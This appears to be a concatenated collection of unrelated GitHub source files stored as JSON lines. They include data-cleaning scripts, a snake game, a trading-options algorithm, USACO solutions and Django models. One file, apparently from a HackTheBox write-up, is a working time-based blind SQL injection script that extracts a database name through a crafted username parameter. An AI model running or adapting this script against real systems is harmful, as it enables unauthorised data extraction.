empty_columns\r\n\r\n# Perform deduplication only on rows that satisfy the condition\r\ndeduplicated_df = df_withseller_id[condition].drop_duplicates(subset=subset_columns)\r\n\r\n# Combine the deduplicated rows with the rows that don't meet the condition\r\ndf_withseller_id = pd.concat([deduplicated_df, df_withseller_id[~condition]])\r\n\r\n\r\n# Combine rows with seller id and rest of the roews\r\ndf = pd.concat([df_withseller_id, df_noseller_id])\r\n\r\n# Drop columns that might have personal information\r\ncolumns = df[['original_datarow', 'Species', 'Quantity', 'Price', 'Currency', 'Intent', 'Seller_id', 'Country', 'lat', 'lon']]\r\n\r\nnew_df = columns.copy()\r\n# Saves to file\r\nnew_df.to_csv(\"results.csv\")\r\n","repo_name":"JooelRinne/wildlifetrade","sub_path":"Data_processing/locations.py","file_name":"locations.py","file_ext":"py","file_size_in_byte":6191,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"35735003220","text":"import esprima\nfrom esprima.nodes import (\n Identifier,\n Literal,\n ComputedMemberExpression,\n ExpressionStatement,\n)\nimport escodegen\nfrom typing import Any, Callable, Dict, List, NewType, Tuple\n\nTransformation = Callable[[Dict[str, Any]], Any]\n\n\nclass VariableRenamer(esprima.NodeVisitor):\n \"\"\"\n Renames variables in the expression to the ones in the variable_mapping.\n\n Example:\n variable_mapping = {c: 'knactor.io/v1/checkouts'}\n expr = 'c.cost'\n output = scope['knactor.io/v1/checkouts']['cost']\n \"\"\"\n\n def __init__(self, alias: Dict[str, str] = {}) -> None:\n self.alias = alias\n self.variables = []\n\n def visit_StaticMemberExpression(self, node):\n if node.object.name in self.alias:\n new_object = ComputedMemberExpression(\n object=Identifier(name=\"scope\"),\n property=Literal(\n value=self.alias[node.object.name],\n raw=f\"'{self.alias[node.object.name]}'\",\n ),\n )\n dict_node = ComputedMemberExpression(\n object=new_object,\n property=Literal(\n value=node.property.name, raw=f\"'{node.property.name}'\"\n ),\n )\n self.variables.append(\n f\"{self.alias[node.object.name]}.{node.property.name}\"\n )\n\n for attr in vars(node):\n setattr(node, attr, getattr(dict_node, attr))\n\n\ndef parse_expr(expr: str, alias: Dict) -> Tuple[Tuple[str, ...], ExpressionStatement]:\n \"\"\"\n Parses the given expression string and returns a tuple containing the variables used in the expression and a transformation function.\n\n Args:\n expr (str): The expression string to parse.\n alias (Dict): A dictionary containing variable name mappings.\n\n Returns:\n Tuple[Tuple[str, ...], Transformation]: A tuple containing the variables used in the expression and a transformation function.\n \"\"\"\n if not expr:\n return (), ExpressionStatement(expression=Literal(value=None, raw=\"null\"))\n\n renamer = VariableRenamer(alias)\n parsed_expression = esprima.parseScript(expr).body[0]\n transformed_expression = renamer.visit(parsed_expression)\n variables = renamer.variables\n return tuple(variables), transformed_expression\n","repo_name":"knactor/cast","sub_path":"driver/runtime/redis/parsing.py","file_name":"parsing.py","file_ext":"py","file_size_in_byte":2348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"38069500891","text":"\n'''\nID: smaylni1\nLANG: PYTHON3\nTASK: dualpal\n'''\n\ndef divine(number, base):\n global num\n if (number // base == 0):\n num = str(number % base)\n return number % base\n else:\n divine(number // base, base)\n num += str(number % base)\n return number % base\n\ndef ispalindrome(num):\n if len(num) <= 1:\n return True\n else:\n return num[0] == num[-1] and ispalindrome(num[1:-1])\n\nf = open('dualpal.in', 'r')\ninp = list(map(int, f.read().split(' ')))\nf.close()\n\nf = open('dualpal.out', 'a')\nr = 0\n\nwhile (r < inp[0]):\n k = 0\n inp[1] += 1\n for i in range(2, 11):\n divine(inp[1], i)\n if ispalindrome(num):\n k += 1\n else:\n continue\n if (k >= 2):\n r += 1\n f.write(str(inp[1]) + '\\n')\n\nf.close()","repo_name":"smaylninja/usaco_dualpal","sub_path":"dualpal.py","file_name":"dualpal.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19385882616","text":"#!/usr/bin/python3\n\nimport requests, time\nfrom pwn import *\n\nurl = \"http://localhost:1234/index.php\"\n\np1 = log.progress(\"SQLi blind\")\np2 = log.progress(\"Database name\")\n\nsession = requests.Session()\n\ndic_letters = \"abcdefghijklmnopqrstuvwxyz0123456789.+!$#-_<>~}:\\\"\\'{*][%,&/\\)(=ABCDEFGHIJKLMNOPQRSTUVWXYZ\"\nresult = \"\"\n\n# Recorremos como si la palabra encontrada tuviera 15 caracteres\nfor position in range(1, 16):\n # Probamos con cada letra de nuestro diccionario\n for letter in dic_letters:\n # Obtenemos el tiempo antes de la peticion\n time_now = time.time()\n \n # Validamos X letra en N posicion\n payload = \"?method=select&\"\n payload += \"username=administrator' and if(substr(database(),%d,1)='%s',sleep(3),1) and '1'='1&\" % (position, letter)\n payload += \"table=passwords\"\n\n p1.status(payload)\n r = session.get(url + payload)\n\n # Obtenemos el tiempo despues de la peticion\n time_after = time.time()\n\n # Si la diferencia de tiempos en mayor a 3, sabemos que la letra que probo esta en la base de datos, asi que la guardamos\n if time_after - time_now > 2:\n result += letter\n p2.status(result)\n break\n\np1.success(\"Done\")\np2.success(result)\n","repo_name":"lanzt/lanzt.github.io","sub_path":"assets/scripts/HTB/breadcrumbs/process_SQLi/extract_db_name.py","file_name":"extract_db_name.py","file_ext":"py","file_size_in_byte":1270,"program_lang":"python","lang":"es","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"23780718456","text":"def tic_tac_toe(field):\n WINS = ((0, 1, 2), (3, 4, 5), (6, 7, 8), (0, 3, 6),\n (1, 4, 7), (2, 5, 8), (0, 4, 8), (2, 4, 6))\n\n sfield = \"\"\n for i in range(3):\n sfield += \"\".join(field[i])\n win_exist = False\n for win in WINS:\n if sfield[win[0]] == sfield[win[1]] == sfield[win[2]] != '.':\n print('{0} win'.format(sfield[win[0]]))\n win_exist = True\n break\n if not win_exist:\n print('draw')\n\n\ndata = \"\"\"0 - 0\nx x x\n0 0 -\"\"\"\n\nfield = [line.split() for line in data.split('\\n')]\n\ntic_tac_toe(field)\n","repo_name":"AndLvG/Python","sub_path":"Lyceum/2019 2 полугодие/p5.py","file_name":"p5.py","file_ext":"py","file_size_in_byte":574,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"70414821710","text":"class NameChunks:\n def __init__(self, root):\n self.root = root\n\n def __enter__(self):\n return self\n\n def __exit__(self, type, value, traceback):\n pass\n\n def apply(self):\n counts = {}\n for chunk in self.root.chunks:\n if chunk.type in counts:\n counts[chunk.type] += 1\n else:\n counts[chunk.type] = 1\n if \"name\" not in chunk.options:\n chunk.options[\"name\"] = (\n self.root.options[\"name\"]\n + \"-\"\n + chunk.type\n + str(counts[chunk.type])\n )\n if chunk.type == \"group\":\n with NameChunks(chunk) as p:\n p.apply()\n","repo_name":"yitzchak/metys","sub_path":"metys/Processors/NameChunks.py","file_name":"NameChunks.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29512123918","text":"from exobuilder.contracts.futureschain import FuturesChain\nfrom exobuilder.contracts.futurecontract import FutureContract\nfrom exobuilder.tests.assetindexdict import AssetIndexDicts\nfrom datetime import datetime, date, timedelta, time as dttime\nfrom exobuilder.contracts.instrument import Instrument\nfrom exobuilder.data.datasource_mongo import DataSourceMongo\nfrom exobuilder.data.datasource_sql import DataSourceSQL\nfrom exobuilder.data.assetindex_mongo import AssetIndexMongo\nfrom exobuilder.data.exostorage import EXOStorage\nfrom exobuilder.exo.exoenginebase import ExoEngineBase\nfrom exobuilder.exo.transaction import Transaction\nimport time\nfrom exobuilder.algorithms.rollover_helper import RolloverHelper\n\nclass EXOBrokenwingCollar(ExoEngineBase):\n def __init__(self, symbol, direction, date, datasource, log_file_path=''):\n self._direction = direction\n self._symbol = symbol\n\n if self._direction != 1 and self._direction != -1:\n raise ValueError('self._direction != 1 and self._direction != -1')\n\n super().__init__(symbol, direction, date, datasource, log_file_path=log_file_path)\n\n @staticmethod\n def direction_type():\n return 0\n\n @staticmethod\n def names_list(symbol):\n return [symbol + '_BullishCollarBW', symbol + '_BearishCollarBW']\n\n @property\n def exo_name(self):\n if self._direction == 1:\n return self._symbol + '_BullishCollarBW'\n elif self._direction == -1:\n return self._symbol + '_BearishCollarBW'\n\n def is_rollover(self):\n if len(self.position) != 0:\n for p in self.position.legs.values():\n rh = RolloverHelper(p.instrument)\n if rh.is_rollover(p):\n return True\n return False\n\n def process_rollover(self):\n trans_list = self.position.close_all_translist()\n return trans_list\n\n\n def process_day(self):\n \"\"\"\n Main EXO's position management method\n :return: list of Transactions to process\n \"\"\"\n\n\n if len(self.position) == 0:\n instr = self.datasource.get(self._symbol, self.date)\n rh = RolloverHelper(instr)\n fut, opt_chain = rh.get_active_chains()\n if fut is None or opt_chain is None:\n if self.debug_mode:\n self.logger.write(\n 'Futures contract or option chain not found.\\n\\tFuture: {0}\\tOption chain: {1}\\n'.format(\n fut,\n opt_chain\n ))\n return []\n\n if self._direction == 1:\n # the bullish broken wings are long the -5 put , long the future, short the + 5 call and long the +9 call\n put_dn5 = opt_chain[-5].P\n call_up5 = opt_chain[5].C\n call_up9 = opt_chain[9].C\n\n\n return [\n Transaction(put_dn5, self.date, 1.0, put_dn5.price, leg_name='opt_otm_leg'),\n Transaction(fut, self.date, 1.0, fut.price, leg_name='fut_leg'),\n Transaction(call_up5, self.date, -1.0, call_up5.price, leg_name='call_up5_short_leg'),\n Transaction(call_up9, self.date, 1.0, call_up9.price, leg_name='call_up9_long_leg'),\n ]\n if self._direction == -1:\n # the bearish BW long the -9 put, short the -5 put , short the future, long the + 5 call\n call_up5 = opt_chain[5].C\n put_dn9 = opt_chain[-9].P\n put_dn5 = opt_chain[-5].P\n\n return [\n Transaction(call_up5, self.date, 1.0, call_up5.price, leg_name='opt_otm_leg'),\n Transaction(fut, self.date, -1.0, fut.price, leg_name='fut_leg'),\n Transaction(put_dn9, self.date, 1.0, put_dn9.price, leg_name='put_dn9_long_leg'),\n Transaction(put_dn5, self.date, -1.0, put_dn5.price, leg_name='put_dn5_short_leg'),\n ]\n","repo_name":"trendmanagement/tmqrexo_alexveden","sub_path":"exobuilder/algorithms/exo_brokenwing.py","file_name":"exo_brokenwing.py","file_ext":"py","file_size_in_byte":4034,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"41750808924","text":"# Method-3: Two Pointer variables\n\ndef twoNumberSum(array, target):\n array.sort()\n left = 0\n right = len(array) - 1\n while(left < right):\n currentSum = array[left] + array[right]\n if(currentSum == target):\n return [array[left], array[right]]\n elif(currentSum < target):\n left += 1\n elif(currentSum > target):\n right -= 1\n\n return []\n\na = [1,2,3,4,5]\ntarget = 5\n\nresult = twoNumberSum(a,target)\n\nif(result):\n print(result)\nelse:\n print(\"There are no elements whose sum is {}\".format(target))\n\n\n# Time Complexity: O(nlogn)\n# Space Complexity: O(1)","repo_name":"OrionJoshi/Competitive_Programming","sub_path":"1.Two Number Of Sum/Method-3.py","file_name":"Method-3.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"82"} +{"seq_id":"4636494176","text":"use_relative_paths = True\n\ndeps = {\n\n \"build\": \"https://chromium.googlesource.com/chromium/src/build.git@acf607f7d345915ea2ecca208bc516677d298463\",\n\n \"buildtools\": \"https://chromium.googlesource.com/chromium/buildtools.git@5fd66957f08bb752dca714a591c84587c9d70762\",\n\n \"tools/gyp\": \"https://chromium.googlesource.com/external/gyp.git@c61b0b35c8396bfd59efc6cfc11401d912b0f510\",\n\n}\n\nhooks = [{\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=win32',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/win/gn.exe.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_win'\n}, {\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=darwin',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/mac/gn.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_mac'\n}, {\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=linux*',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/linux32/gn.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_linux32'\n}, {\n 'action': [\n 'download_from_google_storage',\n '--no_resume',\n '--platform=linux*',\n '--no_auth',\n '--bucket',\n 'chromium-gn',\n '-s',\n 'minimal-gn-project/buildtools/linux64/gn.sha1'\n ],\n 'pattern': '.',\n 'name': 'gn_linux64'\n}]\n","repo_name":"skopf/minimal-gn-project","sub_path":"DEPS","file_name":"DEPS","file_ext":"","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"} +{"seq_id":"35393935513","text":"\"\"\"\nvirtstrapcore.main\n==================\n\nThe main controller for virtstrap after the \nbootstrapping process has completed. \n\nVirtStrap Core ensures that the core sections\nof virtstrap are handled before any extension sections. \nFor now this seems to be the best way to handle it\n\"\"\"\nimport logging\nvs_logger = logging.getLogger(\"virtstrap\")\n\nclass CoreUninitialized(Exception):\n pass\n\nclass VirtStrapCore(object):\n def __init__(self, options=None, args=None, settings=None):\n self._settings = settings\n self._options = options\n self._args = args\n self._initialized = False\n self._core_sections = []\n\n def initialize(self, options, args, settings):\n vs_logger.debug(\"Initializing Core\")\n # Parse the settings\n self._initialized = True\n self._settings = settings\n self._options = options\n self._args = args\n core_sections = self._core_sections\n for section in core_sections:\n section_settings = section.settings\n if not section_settings:\n continue\n settings.parse_section(section_settings)\n\n def execute_command(self):\n \"\"\"Executes command from command line\"\"\"\n if not self._initialized:\n raise CoreUninitialized()\n args = self._args\n arg_length = len(args)\n command = \"default\"\n if arg_length > 0:\n command = args[0]\n core_sections = self._core_sections\n settings = self._settings\n for section in core_sections:\n section_command = getattr(section, command, None)\n if section_command:\n vs_logger.debug(\"Section {0} running command {1}\".format(\n section.name, command))\n section_command(settings)\n \n def register_core_sections(self, *core_sections):\n self._core_sections.extend(core_sections)\n\n\n","repo_name":"ravenac95/virtstrap-resources","sub_path":"packages/virtstrapcore/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"943511705","text":"import time\nfrom turtle import Screen\nfrom snake import Snake\nfrom food import Food\nfrom scoreboard import Scoreboard\n\n# Screen setup\nscreen = Screen()\nscreen.setup(width=600, height=600)\nscreen.bgcolor(\"black\")\nscreen.title(\"Snake Game\")\nscreen.tracer(0)\n\n# create game objects\nsnake = Snake()\nfood = Food()\nscoreboard = Scoreboard()\n\n# listen for inputs\nscreen.listen()\nscreen.onkey(fun=snake.up, key=\"Up\")\nscreen.onkey(fun=snake.down, key=\"Down\")\nscreen.onkey(fun=snake.left, key=\"Left\")\nscreen.onkey(fun=snake.right, key=\"Right\")\n\n# Game Loop\ngame_is_on = True\nwhile game_is_on:\n # draw screen\n screen.update()\n time.sleep(0.2)\n\n snake.move()\n\n # Detect collision with food\n if snake.head.distance(food) < 15:\n food.refresh()\n snake.extend()\n scoreboard.increase_score()\n scoreboard.update_display()\n\n # Detect collision with wall\n if snake.head.xcor() > 280 or snake.head.xcor() < -280 or snake.head.ycor() > 280 \\\n or snake.head.ycor() < -280:\n scoreboard.reset_scoreboard()\n snake.reset_snake()\n\n # Detect collision with tail\n for segment in snake.segments[1:]:\n if snake.head.distance(segment) < 10:\n scoreboard.reset_scoreboard()\n snake.reset_snake()\n\nscreen.exitonclick()\n","repo_name":"EderLukas/python_portfolio","sub_path":"snake/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"39280008878","text":"#!/usr/bin/env python3\nimport sys\nimport argparse\nimport doctest\nimport slyther.types\nimport slyther.parser\nimport slyther.interpreter\nimport slyther.builtins\nimport slyther.evaluator\n\n\ndef module_globals(obj):\n if isinstance(obj, type(sys)):\n pass\n elif hasattr(obj, '__module__'):\n obj = sys.modules[obj.__module__]\n else:\n raise TypeError('Input is not a module or an element with __module__')\n return {\n k: getattr(obj, k)\n for k in dir(obj)\n }\n\n\nd1 = [\n slyther.types.ConsCell,\n slyther.types.ConsCell.__eq__,\n slyther.types.ConsCell.__repr__,\n slyther.types.ConsList,\n slyther.types.ConsList.__init__,\n slyther.types.ConsList.from_iterable,\n slyther.types.ConsList.__getitem__,\n slyther.types.ConsList.cells,\n slyther.types.ConsList.__len__,\n slyther.types.ConsList.__contains__,\n slyther.types.ConsList.__reversed__,\n slyther.types.ConsList.__eq__,\n slyther.types.ConsList.__repr__,\n slyther.types.SExpression,\n slyther.types.cons,\n slyther.types.LexicalVarStorage,\n slyther.types.LexicalVarStorage.fork,\n slyther.types.LexicalVarStorage.put,\n slyther.types.LexicalVarStorage.__getitem__,\n]\n\nd2 = [\n slyther.parser.tokenize,\n slyther.parser.parse,\n slyther.parser.parse_strlit,\n slyther.parser,\n]\n\nd3 = [\n slyther.evaluator,\n slyther.evaluator.lisp_eval,\n slyther.types.UserFunction,\n slyther.types.UserFunction.__init__,\n slyther.types.UserFunction.__call__,\n slyther.types.UserFunction.__repr__,\n slyther.interpreter,\n slyther.interpreter.Interpreter,\n slyther.builtins,\n slyther.builtins.add,\n slyther.builtins.sub,\n slyther.builtins.mul,\n slyther.builtins.div,\n slyther.builtins.floordiv,\n slyther.builtins._list,\n slyther.builtins.car,\n slyther.builtins.cdr,\n slyther.builtins.define,\n slyther.builtins.lambda_func,\n slyther.builtins.let,\n slyther.builtins.if_expr,\n slyther.builtins.cond,\n slyther.builtins._and,\n slyther.builtins._or,\n slyther.builtins._set,\n slyther.builtins._eval,\n slyther.builtins._parse,\n]\n\n\ndef tco_test(code):\n \"\"\"\n Test that tail call optimization works.\n\n >>> f = open(\"examples/carmichael.scm\")\n >>> tco_test(f.read()) # doctest: +ELLIPSIS\n 561\n 1105\n 1729\n 2465\n ...\n >>> f.close()\n \"\"\"\n import signal\n\n def handler(signum, frame):\n raise TimeoutError\n\n try:\n signal.signal(signal.SIGALRM, handler)\n signal.alarm(240)\n interp = slyther.interpreter.Interpreter()\n interp.exec(code)\n except TimeoutError:\n return\n signal.alarm(0)\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument(\n '--d1',\n action='store_true',\n help='Run tests for D1'\n )\n parser.add_argument(\n '--d2',\n action='store_true',\n help='Run tests for D2'\n )\n parser.add_argument(\n '--d3',\n action='store_true',\n help='Run tests for D3'\n )\n parser.add_argument(\n '--tco',\n action='store_true',\n help='Run tail-call optimization tests (takes 4 minutes!)'\n )\n parser.add_argument(\n '-v', '--verbose',\n action='store_true',\n help='Print all test results, not just failures'\n )\n args = parser.parse_args()\n\n tests = []\n if args.d1:\n tests += d1\n if args.d2:\n tests += d2\n if args.d3:\n tests += d3\n if args.tco:\n tests += [tco_test]\n\n if not tests:\n parser.error('You must specify at least one of --d{1,2,3} or --tco.')\n\n for t in tests:\n if t is tco_test:\n print(\"Running tail-call optimization test... \"\n \"(takes 4 minutes if it works!)\")\n print(\"Essentially, if after 4-minutes of preforming all sorts\\n\"\n \"of tail calls, your program does not break, call it good.\")\n doctest.run_docstring_examples(\n t,\n globs=module_globals(t),\n verbose=args.verbose,\n name=getattr(t, '__name__', None) or str(t))\n","repo_name":"geraldung/SlytherLisp","sub_path":"run_tests.py","file_name":"run_tests.py","file_ext":"py","file_size_in_byte":4141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"27973309416","text":"import json\nimport collections\nfrom collections import OrderedDict\n\nclass Law(object):\n pid = \"\"\n city = \"\"\n state = \"\"\n implementingSectorName = \"\"\n date = \"\"\n typeName = \"\"\n policyName = \"\"\n url = \"\"\n category = \"\"\n\n # The class \"constructor\" - It's actually an initializer \n def __init__(self, pid, city, state, implementingSectorName, date, typeName, policyName, url, category):\n self.pid = pid\n self.city = city\n self.state = state\n self.implementingSectorName = implementingSectorName\n self.date = date\n self.typeName = typeName\n self.policyName = policyName\n self.url = url\n self.category = category\n\ndef make_law(pid, city, state, implementingSectorName, date, typeName, policyName, url, category):\n law = Law(pid, city, state, implementingSectorName, date, typeName, policyName, url, category)\n return law\n\ncities_list = []\ncode_list = []\nid_list = []\nlaw_list = []\ntype_list = []\nprogramId2 = [\"programId\", \"city\", \"state\", \"implementingSectorName\", \"tempCity\"] \n\ndef ogDumpclean(obj):\n if type(obj) == dict:\n for k, v in obj.items():\n if hasattr(v, '__iter__'):\n print (k.encode(\"utf-8\"))\n ogDumpclean(v)\n else:\n \tprint (('%s : %s' % (k, v)).encode(\"utf-8\"))\n elif type(obj) == list:\n for v in obj:\n if hasattr(v, '__iter__'):\n ogDumpclean(v)\n else:\n print (v.encode(\"utf-8\"))\n else:\n print (obj.encode(\"utf-8\"))\n\n\ndef dumpcleaner(obj):\n\tif type(obj) == dict:\n\t\tmainObj = obj.get(\"data\")\n\t\tfor objs in mainObj:\n\t\t\tprogramId = str(objs.get(\"ProgramId\"))\n\t\t\tcode_list.append(programId)\n\t\t\tstate = str(objs.get(\"State\"))\n\t\t\timplementingSectorName = str(objs.get(\"ImplementingSectorName\"))\n\t\t\tcityName = \"\"\n\t\t\tcities = objs.get(\"Cities\")\n\t\t\tcontacts = objs.get(\"Contacts\")\n\t\t\tif cities:\n\t\t\t\tcityName = str(cities[0].get(\"name\"))\n\t\t\telif contacts:\n\t\t\t\tcounter = 0\n\t\t\t\twhile ((len(contacts) > counter) & ((cityName.strip() == \"\") | (cityName == \"None Specified\"))):\n\t\t\t\t\tcontact = contacts[counter].get(\"contact\")\n\t\t\t\t\tcity = contact.get(\"city\")\n\t\t\t\t\tstateObject = contact.get(\"stateObject\")\n\t\t\t\t\tstateName = stateObject.get(\"name\")\n\t\t\t\t\tif ((state == str(stateName)) & ((cityName.strip() == \"\") | (cityName == \"None Specified\"))):\n\t\t\t\t\t\tif str(city) == \"None\":\n\t\t\t\t\t\t\tcityName = \"None Specified\"\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tcityName = str(city)\n\t\t\t\t\telse:\n\t\t\t\t\t\tcityName = \"None Specified\"\n\t\t\t\t\tcounter += 1\n\t\t\telse:\n\t\t\t\tcityName = \"None Specified\"\n\t\t\tif cityName.strip() == \"\":\n\t\t\t\tcityName = \"None Specified\"\n\t\t\tcategory = objs.get(\"CategoryName\")\n\t\t\tdate = objs.get(\"StartDate\")\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = objs.get(\"enactedDate\")\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = objs.get(\"enactedDateDisplay\")\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = str(objs.get(\"enactedText\"))\n\t\t\tif ((date == \"\") | (str(date) == \"None\")):\n\t\t\t\tdate = str(objs.get(\"LastUpdate\"))\n\t\t\tif str(date) == \"None\":\n\t\t\t\tdate = \"None given\"\n\t\t\ttypeName = str(objs.get(\"TypeName\")).encode(\"utf-8\")\n\t\t\tpolicyName = str(objs.get(\"Name\")).encode(\"utf-8\")\n\t\t\tif not typeName in type_list:\n\t\t\t\tif implementingSectorName == \"Utility\":\n\t\t\t\t\ttype_list.append(typeName)\n\t\t\turl = str(objs.get(\"WebsiteUrl\"))\n\t\t\tif url.strip() == \"\":\n\t\t\t\turl = \"None\"\n\t\t\tif cityName != \"None Specified\":\n\t\t\t\tcities_list.append(cityName)\n\t\t\tlaw_list.append(make_law(programId, cityName, state, implementingSectorName, \n\t\t\t\tdate, typeName, policyName, url, category))\n\nwith open('data_DSIRE.json') as f:\n data = json.load(f)\n\ndumpcleaner(data)\n#law_list.append(make_law(code_list[-1], programId[1], programId[2]))\n#print(\"number of cities\" + str(len(cities_list)))\nprint(\"number of codes\" + str(len(code_list)))\nprint(\"programCode = \" + code_list[-1])\nf = open(\"parsed_DSIRE_data2.txt\", \"w+\")\nfor x in law_list:\n\tf.write(x.category + \"\\n\")\n#\tf.write(str(x.policyName)[2:-1] + \"\\n\")\n#\tprint(x.pid + \" \" + x.city + \" \" + x.state + \" \" + x.implementingSectorName+ \n#\t\t\" \" + x.date + \" \" + str(x.typeName)[2:-1] + \" \" + str(x.policyName)[2:-1]) \nprint(len(type_list))\nprint(len(law_list))\n\nf.close()","repo_name":"pmohamma/Summer-2018-Climate-Policy-Research","sub_path":"src/climate_policy/DSIRE_dataset_parsing.py","file_name":"DSIRE_dataset_parsing.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"7182530927","text":"import os\nimport csv\nimport numpy as np\n\nfolder = \"memoryPerformance/\"\nciphers = [\"SABER=1\", \"KYBER=1\", \"NTRU=1\", \"NTRUP=1\", \"FRODO=1\"]\nmassiffile = [\"saber/saber\", \"kyber/kyber\", \"ntru/ntru\", \"ntrup/ntrup\", \"frodo/frodo\"]\noperation = [\"TOTAL=1\", \"KEYGEN=1\", \"ENC=1\", \"DEC=1\"]\next = \".out\"\nrm = \"rm test\"\nmake = \"make test \"\nvalgrind = \"valgrind --tool=massif --stacks=yes --massif-out-file=\"\nN = 1\n\ndef measureMemory():\n # For each cipher, measure its memory consumption\n for i in range(5):\n for j in range(N):\n # make with the memory option enabled, and desired operation\n for k in range(1):\n # Remove test binary\n os.system(rm)\n cmd = make + \"test \" + ciphers[i] + \" MEMORY=1 DEBUG=1 RPI=1\" + operation[k]\n os.system(cmd)\n\n # Profile memory with valgrind\n cmd = valgrind + folder + massiffile[i] + \"_\" + operation[k].split(\"=\")[0] + \"_\" + str(j) + ext + \" ./test\"\n print(cmd)\n os.system(cmd)\n\ndef readThreeLines(file):\n file.readline()\n file.readline()\n file.readline()\n\ndef getTotalMemory(file):\n heap = int(file.readline().split(\"=\")[1])\n heapExtra = int(file.readline().split(\"=\")[1])\n stack = int(file.readline().split(\"=\")[1])\n return heap + heapExtra + stack\n\ndef getMemoryUsageAll():\n # Read the generated output file, and get the maximum amount of memory used per KEM\n for i in range(4):\n # Get the array of values per operation\n memUsageAll = []\n for k in range(4):\n # Get the maximum value for each iteration\n memUsage = [] # Stores the max values for all files\n for j in range(N):\n fileN = folder + massiffile[i] + \"_\" + operation[k].split(\"=\")[0] + \"1_\" + str(j) + ext\n print(fileN)\n memUsageOp = []\n with open(fileN, \"r\") as file:\n # Read the first three lines:\n readThreeLines(file)\n # Find the max value\n for line in file:\n # Search the following '#' character\n if line[0] == \"#\":\n # Read the following three lines\n readThreeLines(file)\n # Get the total amount of memory\n total = getTotalMemory(file)\n memUsageOp.append(total)\n memUsage.append(memUsageOp.copy())\n print(memUsage)\n memUsageAll.append(memUsage.copy())\n print(memUsageAll)\n return memUsageAll\n\ndef getMemoryUsageMax():\n \"\"\"\n Get the maximum memory used for all files.\n \"\"\"\n # Read the generated output file, and get the maximum amount of memory used\n memUsageAll = []\n for i in range(4):\n memUsage = [] # Stores the max values for each file\n for j in range(N):\n fileN = memory + massiffile[i] + \"_\" + str(j) + ext\n maxM = 0\n with open(fileN, \"r\") as file:\n # Read the first three lines:\n readThreeLines(file)\n # Find the max value\n for line in file:\n # Search the following '#' character\n if line[0] == \"#\":\n # Read the following three lines\n readThreeLines(file)\n # Get the total amount of memory\n total = getTotalMemory(file)\n if (total > maxM):\n maxM = total\n memUsage.append(maxM)\n memUsageAll.append(memUsage.copy())\n return memUsageAll\n\ndef getMemoryUsageKEM():\n \"\"\"\n Get the data of memory usage per KEM, all the operations\n \"\"\"\n # For each kem\n totalValues = []\n for i in range(5):\n fileN = folder + massiffile[i] + \"_TOTAL_0\" + ext\n values = []\n print(fileN)\n with open(fileN, \"r\") as file:\n readThreeLines(file)\n for line in file:\n if line[0] == \"#\":\n readThreeLines(file)\n total = getTotalMemory(file)\n values.append(total)\n totalValues.append(values.copy())\n return totalValues\n\ndef saveData(data, file, delimiter, op=True):\n m = np.array(data, dtype=object)\n mT = m.transpose()\n with open(file, \"w\") as csvfile:\n writer = csv.writer(csvfile, delimiter=delimiter)\n cipherS = [\"LightSaber\", \"Kyber512\", \"NTRUhps2048509\", \"NTRULPr653\", \"Frodo640\"]\n writer.writerow(cipherS)\n if op:\n operationS = [c.split(\"=\")[0] for c in operation]\n writer.writerow(operationS)\n writer.writerows(mT)\n\nif __name__ == '__main__':\n #measureMemory()\n m = getMemoryUsageKEM()\n saveData(m, \"memoryPerformance/memoryPerformance.csv\", \",\", False)\n","repo_name":"Septien/PQSPerformance","sub_path":"measureMemory.py","file_name":"measureMemory.py","file_ext":"py","file_size_in_byte":4966,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"26770925232","text":"from django.db import models\n\n\nclass Company(models.Model):\n CONTINENTS = (('AF', 'Africa'),\n ('NA', 'North America'),\n ('OC', 'Oceania'),\n ('AN', 'Antarctica'),\n ('AS', 'Asia'),\n ('EU', 'Europe'),\n ('SA', 'South America'))\n\n name = models.CharField(max_length=100)\n location = models.CharField(max_length=2, choices=CONTINENTS, default='NA')\n\n def __str__(self):\n return str(self.name) + \", \" + str(self.location)\n\n\nclass Part(models.Model):\n company = models.ForeignKey(Company, 